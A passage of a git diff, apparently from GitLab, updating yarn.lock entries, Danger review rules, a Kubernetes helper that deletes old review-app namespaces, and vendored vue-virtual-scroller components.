+ resolved "https://registry.yarnpkg.com/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz#fc91f6b9c7ba15c857f4cb2c5defeec39d4f410a"
+ integrity sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==
+ dependencies:
+ spdx-correct "^3.0.0"
+ spdx-expression-parse "^3.0.0"
+
+vary@~1.1.2:
+ version "1.1.2"
+ resolved "https://registry.yarnpkg.com/vary/-/vary-1.1.2.tgz#2299f02c6ded30d4a5961b0b9f74524a18f634fc"
+ integrity sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=
+
+verror@1.10.0:
+ version "1.10.0"
+ resolved "https://registry.yarnpkg.com/verror/-/verror-1.10.0.tgz#3a105ca17053af55d6e270c1f8288682e18da400"
+ integrity sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=
+ dependencies:
+ assert-plus "^1.0.0"
+ core-util-is "1.0.2"
+ extsprintf "^1.2.0"
+
+vfile-location@^3.0.0, vfile-location@^3.2.0:
+ version "3.2.0"
+ resolved "https://registry.yarnpkg.com/vfile-location/-/vfile-location-3.2.0.tgz#d8e41fbcbd406063669ebf6c33d56ae8721d0f3c"
+ integrity sha512-aLEIZKv/oxuCDZ8lkJGhuhztf/BW4M+iHdCwglA/eWc+vtuRFJj8EtgceYFX4LRjOhCAAiNHsKGssC6onJ+jbA==
+
+vfile-message@^2.0.0:
+ version "2.0.4"
+ resolved "https://registry.yarnpkg.com/vfile-message/-/vfile-message-2.0.4.tgz#5b43b88171d409eae58477d13f23dd41d52c371a"
+ integrity sha512-DjssxRGkMvifUOJre00juHoP9DPWuzjxKuMDrhNbk2TdaYYBNMStsNhEOt3idrtI12VQYM/1+iM0KOzXi4pxwQ==
+ dependencies:
+ "@types/unist" "^2.0.0"
+ unist-util-stringify-position "^2.0.0"
+
+vfile@^4.0.0:
+ version "4.2.1"
+ resolved "https://registry.yarnpkg.com/vfile/-/vfile-4.2.1.tgz#03f1dce28fc625c625bc6514350fbdb00fa9e624"
+ integrity sha512-O6AE4OskCG5S1emQ/4gl8zK586RqA3srz3nfK/Viy0UPToBc5Trp9BVFb1u0CjsKrAWwnpr4ifM/KBXPWwJbCA==
+ dependencies:
+ "@types/unist" "^2.0.0"
+ is-buffer "^2.0.0"
+ unist-util-stringify-position "^2.0.0"
+ vfile-message "^2.0.0"
+
+vm-browserify@^1.0.1:
+ version "1.1.2"
+ resolved "https://registry.yarnpkg.com/vm-browserify/-/vm-browserify-1.1.2.tgz#78641c488b8e6ca91a75f511e7a3b32a86e5dda0"
+ integrity sha512-2ham8XPWTONajOR0ohOKOHXkm3+gaBmGut3SRuu75xLd/RRaY6vqgh8NBYYk7+RW3u5AtzPQZG8F10LHkl0lAQ==
+
+void-elements@^3.1.0:
+ version "3.1.0"
+ resolved "https://registry.yarnpkg.com/void-elements/-/void-elements-3.1.0.tgz#614f7fbf8d801f0bb5f0661f5b2f5785750e4f09"
+ integrity sha1-YU9/v42AHwu18GYfWy9XhXUOTwk=
+
+vue-docgen-api@^4.34.2:
+ version "4.39.0"
+ resolved "https://registry.yarnpkg.com/vue-docgen-api/-/vue-docgen-api-4.39.0.tgz#a27d223fe7400117160355f5a2b46f5f5ccdc2cf"
+ integrity sha512-Sd3zVHwR/hqoLZQyc9OeGWIXfa/+dtvYpfTTJL7GciMbs4GlDWijXLngneOOp6ObW+It3a/eXM6gtlhI/wgPhA==
+ dependencies:
+ "@babel/parser" "^7.13.12"
+ "@babel/types" "^7.13.12"
+ "@vue/compiler-dom" "^3.0.7"
+ "@vue/compiler-sfc" "^3.0.7"
+ ast-types "0.14.2"
+ hash-sum "^1.0.2"
+ lru-cache "^4.1.5"
+ pug "^3.0.2"
+ recast "0.20.4"
+ ts-map "^1.0.3"
+ vue-inbrowser-compiler-utils "^4.39.0"
+
+vue-docgen-loader@^1.5.0:
+ version "1.5.0"
+ resolved "https://registry.yarnpkg.com/vue-docgen-loader/-/vue-docgen-loader-1.5.0.tgz#bf8797ea9dde87a8d734b56176f105477d9bf266"
+ integrity sha512-LKZ8mxeIQ44uSUMTplnwOXbC4bO4E2vyZDTbn7/1QlVwJPEIjk3ahL0DA1m27IEw6YTlHOwtWS0PrHmDkFgyAg==
+ dependencies:
+ clone "^2.1.2"
+ jscodeshift "^0.7.0"
+ loader-utils "^1.2.3"
+ querystring "^0.2.0"
+
+vue-inbrowser-compiler-utils@^4.39.0:
+ version "4.39.0"
+ resolved "https://registry.yarnpkg.com/vue-inbrowser-compiler-utils/-/vue-inbrowser-compiler-utils-4.39.0.tgz#0e9a2b5d8d3a8a96c08d98cf0a09ffe546d51941"
+ integrity sha512-dtdqNELGa3snFgN6eXMhCN/EDn0f+B6Kl+QOgzyKPnpXSUjxvsT4lmw/ZhQq08HCic3DsuXW48pqlq/iBC6wNw==
+ dependencies:
+ camelcase "^5.3.1"
+
+walker@^1.0.7, walker@~1.0.5:
+ version "1.0.7"
+ resolved "https://registry.yarnpkg.com/walker/-/walker-1.0.7.tgz#2f7f9b8fd10d677262b18a884e28d19618e028fb"
+ integrity sha1-L3+bj9ENZ3JisYqITijRlhjgKPs=
+ dependencies:
+ makeerror "1.0.x"
+
+warning@^4.0.2, warning@^4.0.3:
+ version "4.0.3"
+ resolved "https://registry.yarnpkg.com/warning/-/warning-4.0.3.tgz#16e9e077eb8a86d6af7d64aa1e05fd85b4678ca3"
+ integrity sha512-rpJyN222KWIvHJ/F53XSZv0Zl/accqHR8et1kpaMTD/fLCRxtV8iX8czMzY7sVZupTI3zcUTg8eycS2kNF9l6w==
+ dependencies:
+ loose-envify "^1.0.0"
+
+watchpack-chokidar2@^2.0.1:
+ version "2.0.1"
+ resolved "https://registry.yarnpkg.com/watchpack-chokidar2/-/watchpack-chokidar2-2.0.1.tgz#38500072ee6ece66f3769936950ea1771be1c957"
+ integrity sha512-nCFfBIPKr5Sh61s4LPpy1Wtfi0HE8isJ3d2Yb5/Ppw2P2B/3eVSEBjKfN0fmHJSK14+31KwMKmcrzs2GM4P0Ww==
+ dependencies:
+ chokidar "^2.1.8"
+
+watchpack@^1.7.4:
+ version "1.7.5"
+ resolved "https://registry.yarnpkg.com/watchpack/-/watchpack-1.7.5.tgz#1267e6c55e0b9b5be44c2023aed5437a2c26c453"
+ integrity sha512-9P3MWk6SrKjHsGkLT2KHXdQ/9SNkyoJbabxnKOoJepsvJjJG8uYTR3yTPxPQvNDI3w4Nz1xnE0TLHK4RIVe/MQ==
+ dependencies:
+ graceful-fs "^4.1.2"
+ neo-async "^2.5.0"
+ optionalDependencies:
+ chokidar "^3.4.1"
+ watchpack-chokidar2 "^2.0.1"
+
+web-namespaces@^1.0.0:
+ version "1.1.4"
+ resolved "https://registry.yarnpkg.com/web-namespaces/-/web-namespaces-1.1.4.tgz#bc98a3de60dadd7faefc403d1076d529f5e030ec"
+ integrity sha512-wYxSGajtmoP4WxfejAPIr4l0fVh+jeMXZb08wNc0tMg6xsfZXj3cECqIK0G7ZAqUq0PP8WlMDtaOGVBTAWztNw==
+
+webpack-dev-middleware@^3.7.3:
+ version "3.7.3"
+ resolved "https://registry.yarnpkg.com/webpack-dev-middleware/-/webpack-dev-middleware-3.7.3.tgz#0639372b143262e2b84ab95d3b91a7597061c2c5"
+ integrity sha512-djelc/zGiz9nZj/U7PTBi2ViorGJXEWo/3ltkPbDyxCXhhEXkW0ce99falaok4TPj+AsxLiXJR0EBOb0zh9fKQ==
+ dependencies:
+ memory-fs "^0.4.1"
+ mime "^2.4.4"
+ mkdirp "^0.5.1"
+ range-parser "^1.2.1"
+ webpack-log "^2.0.0"
+
+webpack-filter-warnings-plugin@^1.2.1:
+ version "1.2.1"
+ resolved "https://registry.yarnpkg.com/webpack-filter-warnings-plugin/-/webpack-filter-warnings-plugin-1.2.1.tgz#dc61521cf4f9b4a336fbc89108a75ae1da951cdb"
+ integrity sha512-Ez6ytc9IseDMLPo0qCuNNYzgtUl8NovOqjIq4uAU8LTD4uoa1w1KpZyyzFtLTEMZpkkOkLfL9eN+KGYdk1Qtwg==
+
+webpack-hot-middleware@^2.25.0:
+ version "2.25.0"
+ resolved "https://registry.yarnpkg.com/webpack-hot-middleware/-/webpack-hot-middleware-2.25.0.tgz#4528a0a63ec37f8f8ef565cf9e534d57d09fe706"
+ integrity sha512-xs5dPOrGPCzuRXNi8F6rwhawWvQQkeli5Ro48PRuQh8pYPCPmNnltP9itiUPT4xI8oW+y0m59lyyeQk54s5VgA==
+ dependencies:
+ ansi-html "0.0.7"
+ html-entities "^1.2.0"
+ querystring "^0.2.0"
+ strip-ansi "^3.0.0"
+
+webpack-log@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/webpack-log/-/webpack-log-2.0.0.tgz#5b7928e0637593f119d32f6227c1e0ac31e1b47f"
+ integrity sha512-cX8G2vR/85UYG59FgkoMamwHUIkSSlV3bBMRsbxVXVUk2j6NleCKjQ/WE9eYg9WY4w25O9w8wKP4rzNZFmUcUg==
+ dependencies:
+ ansi-colors "^3.0.0"
+ uuid "^3.3.2"
+
+webpack-sources@^1.4.0, webpack-sources@^1.4.1, webpack-sources@^1.4.3:
+ version "1.4.3"
+ resolved "https://registry.yarnpkg.com/webpack-sources/-/webpack-sources-1.4.3.tgz#eedd8ec0b928fbf1cbfe994e22d2d890f330a933"
+ integrity sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==
+ dependencies:
+ source-list-map "^2.0.0"
+ source-map "~0.6.1"
+
+webpack-virtual-modules@^0.2.2:
+ version "0.2.2"
+ resolved "https://registry.yarnpkg.com/webpack-virtual-modules/-/webpack-virtual-modules-0.2.2.tgz#20863dc3cb6bb2104729fff951fbe14b18bd0299"
+ integrity sha512-kDUmfm3BZrei0y+1NTHJInejzxfhtU8eDj2M7OKb2IWrPFAeO1SOH2KuQ68MSZu9IGEHcxbkKKR1v18FrUSOmA==
+ dependencies:
+ debug "^3.0.0"
+
+webpack@4:
+ version "4.46.0"
+ resolved "https://registry.yarnpkg.com/webpack/-/webpack-4.46.0.tgz#bf9b4404ea20a073605e0a011d188d77cb6ad542"
+ integrity sha512-6jJuJjg8znb/xRItk7bkT0+Q7AHCYjjFnvKIWQPkNIOyRqoCGvkOs0ipeQzrqz4l5FtN5ZI/ukEHroeX/o1/5Q==
+ dependencies:
+ "@webassemblyjs/ast" "1.9.0"
+ "@webassemblyjs/helper-module-context" "1.9.0"
+ "@webassemblyjs/wasm-edit" "1.9.0"
+ "@webassemblyjs/wasm-parser" "1.9.0"
+ acorn "^6.4.1"
+ ajv "^6.10.2"
+ ajv-keywords "^3.4.1"
+ chrome-trace-event "^1.0.2"
+ enhanced-resolve "^4.5.0"
+ eslint-scope "^4.0.3"
+ json-parse-better-errors "^1.0.2"
+ loader-runner "^2.4.0"
+ loader-utils "^1.2.3"
+ memory-fs "^0.4.1"
+ micromatch "^3.1.10"
+ mkdirp "^0.5.3"
+ neo-async "^2.6.1"
+ node-libs-browser "^2.2.1"
+ schema-utils "^1.0.0"
+ tapable "^1.1.3"
+ terser-webpack-plugin "^1.4.3"
+ watchpack "^1.7.4"
+ webpack-sources "^1.4.1"
+
+which-boxed-primitive@^1.0.2:
+ version "1.0.2"
+ resolved "https://registry.yarnpkg.com/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz#13757bc89b209b049fe5d86430e21cf40a89a8e6"
+ integrity sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==
+ dependencies:
+ is-bigint "^1.0.1"
+ is-boolean-object "^1.1.0"
+ is-number-object "^1.0.4"
+ is-string "^1.0.5"
+ is-symbol "^1.0.3"
+
+which-module@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/which-module/-/which-module-2.0.0.tgz#d9ef07dce77b9902b8a3a8fa4b31c3e3f7e6e87a"
+ integrity sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho=
+
+which@1, which@^1.2.14, which@^1.2.9, which@^1.3.1:
+ version "1.3.1"
+ resolved "https://registry.yarnpkg.com/which/-/which-1.3.1.tgz#a45043d54f5805316da8d62f9f50918d3da70b0a"
+ integrity sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==
+ dependencies:
+ isexe "^2.0.0"
+
+which@^2.0.1:
+ version "2.0.2"
+ resolved "https://registry.yarnpkg.com/which/-/which-2.0.2.tgz#7c6a8dd0a636a0327e10b59c9286eee93f3f51b1"
+ integrity sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==
+ dependencies:
+ isexe "^2.0.0"
+
+wide-align@^1.1.0:
+ version "1.1.3"
+ resolved "https://registry.yarnpkg.com/wide-align/-/wide-align-1.1.3.tgz#ae074e6bdc0c14a431e804e624549c633b000457"
+ integrity sha512-QGkOQc8XL6Bt5PwnsExKBPuMKBxnGxWWW3fU55Xt4feHozMUhdUMaBCk290qpm/wG5u/RSKzwdAC4i51YigihA==
+ dependencies:
+ string-width "^1.0.2 || 2"
+
+widest-line@^3.1.0:
+ version "3.1.0"
+ resolved "https://registry.yarnpkg.com/widest-line/-/widest-line-3.1.0.tgz#8292333bbf66cb45ff0de1603b136b7ae1496eca"
+ integrity sha512-NsmoXalsWVDMGupxZ5R08ka9flZjjiLvHVAWYOKtiKM8ujtZWr9cRffak+uSE48+Ob8ObalXpwyeUiyDD6QFgg==
+ dependencies:
+ string-width "^4.0.0"
+
+with@^7.0.0:
+ version "7.0.2"
+ resolved "https://registry.yarnpkg.com/with/-/with-7.0.2.tgz#ccee3ad542d25538a7a7a80aad212b9828495bac"
+ integrity sha512-RNGKj82nUPg3g5ygxkQl0R937xLyho1J24ItRCBTr/m1YnZkzJy1hUiHUJrc/VlsDQzsCnInEGSg3bci0Lmd4w==
+ dependencies:
+ "@babel/parser" "^7.9.6"
+ "@babel/types" "^7.9.6"
+ assert-never "^1.2.1"
+ babel-walk "3.0.0-canary-5"
+
+word-wrap@~1.2.3:
+ version "1.2.3"
+ resolved "https://registry.yarnpkg.com/word-wrap/-/word-wrap-1.2.3.tgz#610636f6b1f703891bd34771ccb17fb93b47079c"
+ integrity sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==
+
+worker-farm@^1.7.0:
+ version "1.7.0"
+ resolved "https://registry.yarnpkg.com/worker-farm/-/worker-farm-1.7.0.tgz#26a94c5391bbca926152002f69b84a4bf772e5a8"
+ integrity sha512-rvw3QTZc8lAxyVrqcSGVm5yP/IJ2UcB3U0graE3LCFoZ0Yn2x4EoVSqJKdB/T5M+FLcRPjz4TDacRf3OCfNUzw==
+ dependencies:
+ errno "~0.1.7"
+
+worker-rpc@^0.1.0:
+ version "0.1.1"
+ resolved "https://registry.yarnpkg.com/worker-rpc/-/worker-rpc-0.1.1.tgz#cb565bd6d7071a8f16660686051e969ad32f54d5"
+ integrity sha512-P1WjMrUB3qgJNI9jfmpZ/htmBEjFh//6l/5y8SD9hg1Ef5zTTVVoRjTrTEzPrNBQvmhMxkoTsjOXN10GWU7aCg==
+ dependencies:
+ microevent.ts "~0.1.1"
+
+wrap-ansi@^5.1.0:
+ version "5.1.0"
+ resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-5.1.0.tgz#1fd1f67235d5b6d0fee781056001bfb694c03b09"
+ integrity sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==
+ dependencies:
+ ansi-styles "^3.2.0"
+ string-width "^3.0.0"
+ strip-ansi "^5.0.0"
+
+wrappy@1:
+ version "1.0.2"
+ resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f"
+ integrity sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=
+
+write-file-atomic@^2.3.0:
+ version "2.4.3"
+ resolved "https://registry.yarnpkg.com/write-file-atomic/-/write-file-atomic-2.4.3.tgz#1fd2e9ae1df3e75b8d8c367443c692d4ca81f481"
+ integrity sha512-GaETH5wwsX+GcnzhPgKcKjJ6M2Cq3/iZp1WyY/X1CSqrW+jVNM9Y7D8EC2sM4ZG/V8wZlSniJnCKWPmBYAucRQ==
+ dependencies:
+ graceful-fs "^4.1.11"
+ imurmurhash "^0.1.4"
+ signal-exit "^3.0.2"
+
+write-file-atomic@^3.0.0:
+ version "3.0.3"
+ resolved "https://registry.yarnpkg.com/write-file-atomic/-/write-file-atomic-3.0.3.tgz#56bd5c5a5c70481cd19c571bd39ab965a5de56e8"
+ integrity sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==
+ dependencies:
+ imurmurhash "^0.1.4"
+ is-typedarray "^1.0.0"
+ signal-exit "^3.0.2"
+ typedarray-to-buffer "^3.1.5"
+
+xtend@^4.0.0, xtend@^4.0.1, xtend@~4.0.1:
+ version "4.0.2"
+ resolved "https://registry.yarnpkg.com/xtend/-/xtend-4.0.2.tgz#bb72779f5fa465186b1f438f674fa347fdb5db54"
+ integrity sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==
+
+y18n@^4.0.0:
+ version "4.0.3"
+ resolved "https://registry.yarnpkg.com/y18n/-/y18n-4.0.3.tgz#b5f259c82cd6e336921efd7bfd8bf560de9eeedf"
+ integrity sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==
+
+yallist@^2.1.2:
+ version "2.1.2"
+ resolved "https://registry.yarnpkg.com/yallist/-/yallist-2.1.2.tgz#1c11f9218f076089a47dd512f93c6699a6a81d52"
+ integrity sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=
+
+yallist@^3.0.2:
+ version "3.1.1"
+ resolved "https://registry.yarnpkg.com/yallist/-/yallist-3.1.1.tgz#dbb7daf9bfd8bac9ab45ebf602b8cbad0d5d08fd"
+ integrity sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==
+
+yallist@^4.0.0:
+ version "4.0.0"
+ resolved "https://registry.yarnpkg.com/yallist/-/yallist-4.0.0.tgz#9bb92790d9c0effec63be73519e11a35019a3a72"
+ integrity sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==
+
+yaml@^1.10.0, yaml@^1.7.2:
+ version "1.10.2"
+ resolved "https://registry.yarnpkg.com/yaml/-/yaml-1.10.2.tgz#2301c5ffbf12b467de8da2333a459e29e7920e4b"
+ integrity sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==
+
+yargs-parser@^13.1.2:
+ version "13.1.2"
+ resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-13.1.2.tgz#130f09702ebaeef2650d54ce6e3e5706f7a4fb38"
+ integrity sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==
+ dependencies:
+ camelcase "^5.0.0"
+ decamelize "^1.2.0"
+
+yargs@^13.3.2:
+ version "13.3.2"
+ resolved "https://registry.yarnpkg.com/yargs/-/yargs-13.3.2.tgz#ad7ffefec1aa59565ac915f82dccb38a9c31a2dd"
+ integrity sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==
+ dependencies:
+ cliui "^5.0.0"
+ find-up "^3.0.0"
+ get-caller-file "^2.0.1"
+ require-directory "^2.1.1"
+ require-main-filename "^2.0.0"
+ set-blocking "^2.0.0"
+ string-width "^3.0.0"
+ which-module "^2.0.0"
+ y18n "^4.0.0"
+ yargs-parser "^13.1.2"
+
+yocto-queue@^0.1.0:
+ version "0.1.0"
+ resolved "https://registry.yarnpkg.com/yocto-queue/-/yocto-queue-0.1.0.tgz#0294eb3dee05028d31ee1a5fa2c556a6aaf10a1b"
+ integrity sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==
+
+zwitch@^1.0.0:
+ version "1.0.5"
+ resolved "https://registry.yarnpkg.com/zwitch/-/zwitch-1.0.5.tgz#d11d7381ffed16b742f6af7b3f223d5cd9fe9920"
+ integrity sha512-V50KMwwzqJV0NpZIZFwfOD5/lyny3WlSzRiXgA0G7VUnRlqttta1L6UQIHzd6EuBY/cHGfwTIck7w1yH6Q5zUw==
diff --git a/tooling/danger/feature_flag.rb b/tooling/danger/feature_flag.rb
index 2e65831ef9f..cef64e52af3 100644
--- a/tooling/danger/feature_flag.rb
+++ b/tooling/danger/feature_flag.rb
@@ -10,7 +10,8 @@ module Tooling
# - :modified
# - :deleted
def feature_flag_files(change_type:)
- files = git.public_send("#{change_type}_files") # rubocop:disable GitlabSecurity/PublicSend
+ files = helper.public_send("#{change_type}_files") # rubocop:disable GitlabSecurity/PublicSend
+
files.select { |path| path =~ %r{\A(ee/)?config/feature_flags/} }.map { |path| Found.new(path) }
end
@@ -29,6 +30,14 @@ module Tooling
@group ||= yaml['group']
end
+ def default_enabled
+ @default_enabled ||= yaml['default_enabled']
+ end
+
+ def rollout_issue_url
+ @rollout_issue_url ||= yaml['rollout_issue_url']
+ end
+
def group_match_mr_label?(mr_group_label)
mr_group_label == group
end
diff --git a/tooling/danger/product_intelligence.rb b/tooling/danger/product_intelligence.rb
index 0f77f6c6a71..2c005b70de0 100644
--- a/tooling/danger/product_intelligence.rb
+++ b/tooling/danger/product_intelligence.rb
@@ -14,7 +14,10 @@ module Tooling
'spec/lib/gitlab/tracking_spec.rb',
'app/helpers/tracking_helper.rb',
'spec/helpers/tracking_helper_spec.rb',
- 'app/assets/javascripts/tracking.js',
+ 'app/assets/javascripts/tracking/index.js',
+ 'app/assets/javascripts/tracking/constants.js',
+ 'app/assets/javascripts/tracking/get_standard_context.js',
+ 'spec/frontend/tracking/get_standard_context_spec.js',
'spec/frontend/tracking_spec.js',
'generator_templates/usage_metric_definition/metric_definition.yml',
'lib/generators/gitlab/usage_metric/usage_metric_generator.rb',
diff --git a/tooling/danger/project_helper.rb b/tooling/danger/project_helper.rb
index a29dc5e5bed..8151e074096 100644
--- a/tooling/danger/project_helper.rb
+++ b/tooling/danger/project_helper.rb
@@ -6,21 +6,23 @@ module Tooling
LOCAL_RULES ||= %w[
changelog
database
- datateam
documentation
duplicate_yarn_dependencies
eslint
+ gitaly
karma
pajamas
pipeline
prettier
product_intelligence
utility_css
+ vue_shared_documentation
].freeze
CI_ONLY_RULES ||= %w[
ce_ee_vue_templates
ci_templates
+ datateam
metadata
feature_flag
roulette
@@ -43,16 +45,18 @@ module Tooling
%r{\Adata/whats_new/} => :docs,
%r{\A(
- app/assets/javascripts/tracking\.js |
+ app/assets/javascripts/tracking/.*\.js |
+ spec/frontend/tracking/.*\.js |
spec/frontend/tracking_spec\.js
)\z}x => [:frontend, :product_intelligence],
%r{\A(ee/)?app/(assets|views)/} => :frontend,
%r{\A(ee/)?public/} => :frontend,
- %r{\A(ee/)?spec/(javascripts|frontend)/} => :frontend,
+ %r{\A(ee/)?spec/(javascripts|frontend|frontend_integration)/} => :frontend,
%r{\A(ee/)?vendor/assets/} => :frontend,
%r{\A(ee/)?scripts/frontend/} => :frontend,
%r{(\A|/)(
\.babelrc |
+ \.browserslistrc |
\.eslintignore |
\.eslintrc(\.yml)? |
\.nvmrc |
diff --git a/tooling/lib/tooling/kubernetes_client.rb b/tooling/lib/tooling/kubernetes_client.rb
index 9bc5626db6b..12c4ee0039f 100644
--- a/tooling/lib/tooling/kubernetes_client.rb
+++ b/tooling/lib/tooling/kubernetes_client.rb
@@ -27,6 +27,13 @@ module Tooling
delete_by_exact_names(resource_type: resource_type, resource_names: resource_names, wait: wait)
end
+ def cleanup_review_app_namespaces(created_before:, wait: true)
+ namespaces = review_app_namespaces_created_before(created_before: created_before)
+ return if namespaces.empty?
+
+ delete_namespaces_by_exact_names(resource_names: namespaces, wait: wait)
+ end
+
private
def delete_by_selector(release_name:, wait:)
@@ -66,6 +73,19 @@ module Tooling
run_command(command)
end
+ def delete_namespaces_by_exact_names(resource_names:, wait:)
+ command = [
+ 'delete',
+ 'namespace',
+ '--now',
+ '--ignore-not-found',
+ %(--wait=#{wait}),
+ resource_names.join(' ')
+ ]
+
+ run_command(command)
+ end
+
def delete_by_matching_name(release_name:)
resource_names = raw_resource_names
command = [
@@ -101,9 +121,32 @@ module Tooling
]
response = run_command(command)
- JSON.parse(response)['items'] # rubocop:disable Gitlab/Json
- .map { |resource| resource.dig('metadata', 'name') if Time.parse(resource.dig('metadata', 'creationTimestamp')) < created_before }
- .compact
+
+ resources_created_before_date(response, created_before)
+ end
+
+ def review_app_namespaces_created_before(created_before:)
+ command = [
+ 'get',
+ 'namespace',
+ "-l tls=review-apps-tls", # Get only namespaces used for review-apps
+ "--sort-by='{.metadata.creationTimestamp}'",
+ '-o json'
+ ]
+
+ response = run_command(command)
+
+ resources_created_before_date(response, created_before)
+ end
+
+ def resources_created_before_date(response, date)
+ items = JSON.parse(response)['items'] # rubocop:disable Gitlab/Json
+
+ items.filter_map do |item|
+ item_created_at = Time.parse(item.dig('metadata', 'creationTimestamp'))
+
+ item.dig('metadata', 'name') if item_created_at < date
+ end
rescue ::JSON::ParserError => ex
puts "Ignoring this JSON parsing error: #{ex}\n\nResponse was:\n#{response}" # rubocop:disable Rails/Output
[]
diff --git a/vendor/assets/javascripts/vue-virtual-scroller/src/components/DynamicScroller.vue b/vendor/assets/javascripts/vue-virtual-scroller/src/components/DynamicScroller.vue
index e9f3acea9d8..2d354d605f8 100644
--- a/vendor/assets/javascripts/vue-virtual-scroller/src/components/DynamicScroller.vue
+++ b/vendor/assets/javascripts/vue-virtual-scroller/src/components/DynamicScroller.vue
@@ -10,7 +10,7 @@
@visible="onScrollerVisible"
v-on="listeners"
>
- <template slot-scope="{ item: itemWithSize, index, active }">
+ <template #default="{ item: itemWithSize, index, active }">
<slot
v-bind="{
item: itemWithSize.item,
@@ -20,10 +20,10 @@
}"
/>
</template>
- <template slot="before">
+ <template #before>
<slot name="before" />
</template>
- <template slot="after">
+ <template #after>
<slot name="after" />
</template>
</RecycleScroller>
diff --git a/vendor/assets/javascripts/vue-virtual-scroller/src/components/DynamicScrollerItem.vue b/vendor/assets/javascripts/vue-virtual-scroller/src/components/DynamicScrollerItem.vue
index 3db24018ad0..f581d7345ab 100644
--- a/vendor/assets/javascripts/vue-virtual-scroller/src/components/DynamicScrollerItem.vue
+++ b/vendor/assets/javascripts/vue-virtual-scroller/src/components/DynamicScrollerItem.vue
@@ -195,14 +195,15 @@ export default {
observeSize () {
if (!this.vscrollResizeObserver) return
- this.vscrollResizeObserver.observe(this.$el.parentNode)
- this.$el.parentNode.addEventListener('resize', this.onResize)
+ this.$_parentNode = this.$el.parentNode;
+ this.vscrollResizeObserver.observe(this.$_parentNode)
+ this.$_parentNode.addEventListener('resize', this.onResize)
},
unobserveSize () {
if (!this.vscrollResizeObserver) return
- this.vscrollResizeObserver.unobserve(this.$el.parentNode)
- this.$el.parentNode.removeEventListener('resize', this.onResize)
+ this.vscrollResizeObserver.unobserve(this.$_parentNode)
+ this.$_parentNode.removeEventListener('resize', this.onResize)
},
onResize (event) {
diff --git a/vendor/assets/javascripts/vue-virtual-scroller/src/components/RecycleScroller.vue b/vendor/assets/javascripts/vue-virtual-scroller/src/components/RecycleScroller.vue
index 5e9661a53c8..3ce35999d8a 100644
--- a/vendor/assets/javascripts/vue-virtual-scroller/src/components/RecycleScroller.vue
+++ b/vendor/assets/javascripts/vue-virtual-scroller/src/components/RecycleScroller.vue
@@ -572,20 +572,49 @@ export default {
},
scrollToItem (index) {
- let scroll
- if (this.itemSize === null) {
- scroll = index > 0 ? this.sizes[index - 1].accumulator : 0
- } else {
- scroll = index * this.itemSize
- }
- this.scrollToPosition(scroll)
+ this.$_scrollDirty = true
+ const { viewport, scrollDirection, scrollDistance } = this.scrollToPosition(index)
+ viewport[scrollDirection] = scrollDistance
+
+ setTimeout(() => {
+ this.$_scrollDirty = false
+ this.updateVisibleItems(false, true)
+ })
},
- scrollToPosition (position) {
- if (this.direction === 'vertical') {
- this.$el.scrollTop = position
- } else {
- this.$el.scrollLeft = position
+ scrollToPosition (index) {
+ const getPositionOfItem = (index) => {
+ if (this.itemSize === null) {
+ return index > 0 ? this.sizes[index - 1].accumulator : 0
+ } else {
+ return index * this.itemSize
+ }
+ }
